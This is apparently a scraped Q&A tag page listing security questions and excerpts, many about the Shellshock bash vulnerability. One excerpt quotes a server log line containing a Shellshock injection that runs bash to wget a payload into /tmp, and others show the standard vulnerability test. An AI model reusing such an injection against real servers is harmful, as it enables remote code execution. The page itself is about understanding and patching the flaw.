Security in terms of "computer security", such as protection of information, protection from theft or data destruction.

learn more… | top users | synonyms (1)

1
vote
1answer
34 views

Why cant operating system decide which program to use when opening files without their suffix?

For example, if we rename a .pdf file to .exe, and try to run it under windows, an error will occur. But is it possible for OS to determine which program to use to open a file based on its content? ...
0
votes
0answers
24 views

Is it possible to use sound as a means to break encryption?

Doing an autobiography on John Draper for class and the discovery he made with the Captain Crunch whistle really intrigues me. What if it was possible to make a blue box sort of device to break ...
18
votes
2answers
2k views

Is this an attack or something to be concerned about? Shellshock?

Saw this in the access.log on my test server : > 173.45.100.18 - - [26/Sep/2014:07:09:53 +0200] "GET /cgi-bin/hi HTTP/1.0" 404 490 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget > ...
0
votes
0answers
7 views

Set a max for number of failed password log in attempts in juniper srx

Normally my Juniper-SRX doesn't delimit number of failed log in attempts. I want to know if is there any way to change settings in a way that after for example 3 failed attempt, that user locked for ...
-1
votes
0answers
15 views

How to make a DVD and users can't create image from that ( uncopyable DVD ) [on hold]

Hi I want create bad sector on dvd ( if this possible ) for prevent creating image from dvd but there isn't any software for this work and I do this work manually. please show a solution for prevent ...
0
votes
0answers
10 views

How to know which Certificates to leave in my browser, and which to remove

I would like to tighten up security a bit, so I am disabling unneeded certs from my browsers. For instance, the "WoSign CA Limited" cert from China I obviously don't need, yet "Thawte Consulting cc" I ...
0
votes
3answers
975 views
+100

Still Vulnerable with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 - What next?

The title says it all. I am still vulnerable (CVE-2014-6271 and possibly CVE-2014-7169) with Ubuntu 14.04.1 and Bash 4.3-7ubuntu1.4 apt-get update = nothing apt-get upgrade = nothing apt-get ...
0
votes
0answers
8 views

How to make the Firefox's message “… is now fullscreen” less obtrusive?

Illustration of the problem When a web page in Firefox switches to full-screen then even though the website is allowed to switch to full-screen automatically (Tools > Page Info > Permissions > Enter ...
4
votes
1answer
262 views

Do I need to be concerned using the Git Bash on Windows with Shellshock?

I use the Git Bash on a Windows 8.1 machine. Do I need to be concerned by Shellshock?
0
votes
2answers
67 views

Is my server still vulnerable to Shell Shock?

I updated my Debian server since Shell Shock vulnerability was known. Before update, I had: $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test" vulnerable this is a test Now, I have: ...
-1
votes
3answers
485 views

How do I build bash to patch against shellshock and test it before installing it at the root of my system?

What seems to be wrong with my code below? I'm downloading and patching up to patch 18 which I understand is the patch for shellchock vulnerability. But I still get the vulnerability when running ...
0
votes
3answers
41 views

When using VirtualBox, is the host OS 100% protected from security issues in the guest OS?

More specifically, if I intentionally install all kinds of viruses and malwares on a Windows installation running inside VirtualBox on Mac OS X, can I cause any damage to Mac OS or even to the ...
0
votes
0answers
183 views

What exactly is the “Shellshock” vulnerability?

Concerning the Shellshock bug (aka "bash bug", CVE-2014-6271), can someone explain how this vulnerability works? Based on the test given in some posts (below), it looks like some type of injection ...
0
votes
1answer
12 views

MS Surface / Windows PC - Wipe Between Users

As a company we have a few devices like MS Surfaces and some netbooks that are used for open access within social spaces. The problem being sometimes these devices are abused and wallpapers changed ...
-1
votes
1answer
55 views

Break the forgotten encrypted password of excel workbook

i have an Excel 2010 workbook, on which i applied an Encrypted (128 bits AES) password, which i can't remember now, is there any way to remove/reset or retrieve that password or any method to retrieve ...
24
votes
8answers
29k views

How do I fix the shellshock security vulnerability in debian testing/jessie?

the test command x='() { :;}; echo vulnerable' bash shows that my debian jessie installation is vulnerable, even with the latest updates. Research shows that there's a patch for stable and ...
0
votes
1answer
305 views

nmap output difference between -sL and -sP

I am trying to generate a list of currently active hosts. I get this by doing -sP 192.168.1.0/24 Starting Nmap 6.40 ( http://nmap.org ) at 2014-09-24 19:40 MDT RTTVAR has grown to over 2.3 seconds, ...
1
vote
0answers
34 views

Trying to find out if chromebook Supervised User hacked device

One of the kids has a chromebook, acer c720. I set him up as a supervised user on 9/5/2014, and was able to view browsing history on supervised user dashboard. However the history stopped on ...
0
votes
0answers
22 views

Are there risks to auto-login/passwordless login in Linux other than physical access control?

In Linux, does auto-login/passwordless login leave the computer in exactly that same state as it would be after manually logging in, or does it create security risks of a type other than access ...
0
votes
2answers
36 views

Deleting file names from MFT

I want to delete the unused contents of a disk without leaving any traces, e.g. for giving it to a colleague or a customer. The colleague/customer shall receive some files which are already on the ...
0
votes
2answers
37 views

How should I properly store passwords as a user? [closed]

So we all know that it's a bad idea to use one passwords for all your services. A breach in just one service, could allow the hacker to access every one of your services that uses the same password. ...
1
vote
0answers
32 views

Separation of work, personal, and private , for all things tech?

Increasingly I'm finding it's very difficult to separate anything on my computers and devices. Everything syncs everywhere, I need to do work from my home computer, I need to do personal things from ...
0
votes
0answers
12 views

How does ProtectedStorage on Windows work?

When going through the services on my system, I stumbled upon ProtectedStorage (...\system32\lsass.exe) , which says it provides storage protection for passwords, etc, so that other processes cannot ...
0
votes
0answers
27 views

How to set up PayPal's two-factor authentication with a mobile app or trust my computer? [migrated]

I just set up two-factor authentication feature for my account with PayPal, but I can't seem to find a way how to set it up to either trust my desktop computer (so that it doesn't ask for a PIN on it) ...
1
vote
0answers
37 views

How costly is it to install lots of rarely used USB and print drivers? [on hold]

Over the course of years, I keep sticking all kinds of USB drivers into my laptop, and connecting to all kinds of printers, to use it just once. Exactly how costly is it, when not in use? Should these ...
-1
votes
0answers
18 views

How does google have access to sites that need registration

When I search Google I find results from pages that need registration and I'm forced to register just to see that page. How does Google have access without registration and we don't?
2
votes
0answers
22 views

Convenient way to check AUR PKGBUILD against malicious code?

As is well known, one should take care when installing packages from the AUR, because the PKGBUILD may not do what you expect and may be malicious. For this reason, my workflow for installing and ...
-2
votes
1answer
247 views

Google Сhrome new Secure Preferences, how mod preferences now?

In new Сhrome version 37.0.2062.120 m appeared new Secure Preferences file, how make modification preferences now? Secure Preferences file: { "extensions": { "settings": { } }, "protection": { ...
0
votes
0answers
16 views

How can I test IPv6 security with a mikrotik router?

Noob here. I'm experimenting with IPv6, and I want to test security and encryption. Does anyone know if there is some way to send a secure test packet between my computer and Mikrotik router? ...
0
votes
0answers
40 views

Google Chrome SQLite cookies contains keywords : drugs, illegal and pornography?

I was just testing some things with cookies in Chrome. I opened Local Storage and its content with SQLite browser. Then I found something weird... ...
0
votes
0answers
19 views

Security Monitoring Using last Command

I am new to linux administration and was looking for a good way to get e-mail alerts when a user logs in. I was thinking this might be useful as a security monitoring tool to allow me to see who is on ...
0
votes
0answers
24 views

Java applets not working in Windows 8

I really want to view the Java applet in this website. I've tried in firefox and IE and neither work. I followed Sun's instructions but they're inacurate: first of all there's no Java Control Pannel, ...
0
votes
1answer
11 views

Windows 7: Not prompting for administrator credential when group policies block removable storage driver installation

I am in the middle of blocking of USBSTOR access for all my standard user, currently I am able to use batch script to block the USBSTOR registry depending-ly, if they belongs to a security group they ...
0
votes
0answers
19 views

TrueCrypt mounted disk accessible by guest account

I noticed this issue. I have personal files on my truecrypt account and if it was mounted and then someone use my guest account, they can access my disk! how to prevent that? is there any option to ...
0
votes
2answers
20 views

followup: why are shebang files not suid-able?

followup question to http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts . there is a very good answer by Gilles. alas, I do not understand it. nothing described there seems ...
0
votes
0answers
18 views

How to set up limited access remote control to a specific program?

I have a certain program running on a Windows 7 PC and I want a group of people to be able to access it and use the program remotely. However, these remote users shouldn't have any other permissions ...
0
votes
3answers
51 views

Why very few modern motherboards are equipped with TPM? [closed]

I've heard bitlocker will be so common that microsoft will require every computer to have TPM to run windows 9. Yet I just called gigabyte. Gigabyte says that not one of their motherboard is equipped ...
0
votes
1answer
40 views

How to specify SIDs in Security Policy?

After the installation of KB2871997, on Windows Server 2008 R2 on a domain controller, you get a new user group: 'Restricted Users', and as this article mentions, you get two new well known SIDs: ...
0
votes
1answer
54 views

Run unsigned Java applets

Basiclly the same question as Allowing unsigned Java applications on all sites, but for Java 8, where I get the pleasure of seeing this screen: Unsurprisingly, this breaks things for me. Is there ...
0
votes
1answer
23 views

How secure is hosting a node.js personal app on 127.0.0.1? Can it be accessed anywhere other than my own computer?

I have a node.js app for personal purposes hosted at 127.0.0.1 server.listen(80, '127.0.0.1', function() {... It contains sensitive information. As I understand only me (computer that is currently ...
1
vote
1answer
21 views

HeartBleed and Client certificates

Is it true that a server, setup to require a client certificate, cannot suffer from the Heartbleed vulnerability, if that user does not have a client certificate?
0
votes
1answer
30 views

Concerned about using a public key in a class to decrypt resources

I've created a program which stores decryption key in a file, but when I run it, the key is decrypted and stored in a public class where the program can use it in all instances, but I'm concerned ...
0
votes
0answers
7 views

Security Alert: A secure connection with the site cannot be verified

I've had the same issue a lot of your readers have asked about the Security Alert: A secure connection with the site cannot be verified. Would you like to proceed? The certificate you are viewing ...
1
vote
0answers
22 views

How do security firms find out whether 3rd party software is safe? [closed]

What processes do professional software auditing and security testing companies follow to determine if a software is "safe" to use. Say, someone writes malware that behaves itself 99.999% of the ...
0
votes
0answers
22 views

Limiting the times my wireless network is open and available.

I have an HP PC with a linksys wireless network. My son has a laptop that he uses for gaming and stays up all night gaming on it. Is there anyway I can have my linksys network shut down for certain ...
0
votes
1answer
30 views

Are there downsides to installing node.js with root privileges?

I'm using the following code to install node: cd /usr/local/src/ wget http://nodejs.org/dist/v0.10.25/node-v0.10.25.tar.gz tar -xvf node-v0.10.25.tar.gz cd node-v0.10.25 ...
0
votes
0answers
15 views

Read history commands on GNOME 2?

Someone (old employee) deleted the history record and I am wondering if there is any way to read the commands executed by Gnome ? Thanks! FYI: Server: Debian 6.0 Gnome: v2
0
votes
0answers
32 views

Selective USB blocking

I would like to control access to USB ports on our network. We have operational USB devices connected to all PCs on the network, so I am not looking at simply disabling all USB ports functionality. ...
0
votes
0answers
16 views

can an android device be in danger on a malicious site? [migrated]

I accidentally went onto a site via Google images and went off after half a second, (the page had been quarter/half loaded. I accidentally hit the undo button and it opened again, and I closed it ...
0
votes
1answer
37 views

How much dangerous rm -rf is?

Does rm -rf dir/ erase filesystems mounted below dir/ (say in dir/a)?